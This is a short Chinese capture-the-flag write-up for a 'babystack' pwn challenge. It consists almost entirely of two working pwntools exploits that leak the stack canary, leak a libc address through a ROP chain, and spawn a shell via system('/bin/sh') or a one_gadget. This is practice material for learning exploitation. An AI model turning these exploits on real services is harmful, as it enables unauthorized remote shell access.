看着很吓人,实际是个栈
一般来说,canary在rbp边上
还有关于canary的知识,百度去
libcsearcher
#coding:utf-8
from pwn import *
from LibcSearcher import*
context.log_level = 'debug'
io = remote("node4.buuoj.cn",28010)
#io = process('./babystack')
#gdb.attach(io)
elf = ELF('./babystack')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x0400908
io.recvuntil('>> ')
io.sendline('1')
payload = b'a'*(0x88)
io.sendline(payload)
io.recvuntil('>> ')
io.sendline('2')
io.recvuntil('a\n')
canary = u64(io.recv(7).rjust(8,'\x00'))
log.success("canary:"+hex(canary))
#pause()
pop_rdi = 0x0000000000400a93
payload = b'a'*(0x88)+p64(canary)+p64(0)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.recvuntil('>> ')
io.sendline('1')
io.sendline(payload)
io.recvuntil('>> ')
io.sendline('3')
puts_addr = u64(io.recvuntil('\x7f').ljust(8,'\x00'))
log.success('puts:'+hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
libcbase = puts_addr - libc.dump('puts')
system_addr = libcbase +libc.dump('system')
bin_sh_addr = libcbase +libc.dump('str_bin_sh')
io.recvuntil('>> ')
io.sendline('1')
payload = b'a'*(0x88)+p64(canary)+p64(0)+p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)
io.sendline(payload)
io.recvuntil('>> ')
io.sendline('3')
io.interactive()
one gadget
#coding:utf-8
from pwn import *
context.log_level = 'debug'
io = remote("node4.buuoj.cn",28010)
#io = process('./babystack')
#gdb.attach(io)
elf = ELF('./babystack')
libc = ELF('libc-2.23.so')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x0400908
io.recvuntil('>> ')
io.sendline('1')
payload = b'a'*(0x88)
io.sendline(payload)
io.recvuntil('>> ')
io.sendline('2')
io.recvuntil('a\n')
canary = u64(io.recv(7).rjust(8,'\x00'))
log.success("canary:"+hex(canary))
#pause()
pop_rdi = 0x0000000000400a93
payload = b'a'*(0x88)+p64(canary)+p64(0)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.recvuntil('>> ')
io.sendline('1')
io.sendline(payload)
io.recvuntil('>> ')
io.sendline('3')
puts_addr = u64(io.recvuntil('\x7f').ljust(8,'\x00'))
log.success('puts:'+hex(puts_addr))
libcbase = puts_addr - libc.sym['puts']
io.recvuntil('>> ')
io.sendline('1')
payload = b'a'*(0x88)+p64(canary)+p64(0)+p64(libcbase +0x45216)
io.sendline(payload)
io.recvuntil('>> ')
io.sendline('3')
io.interactive()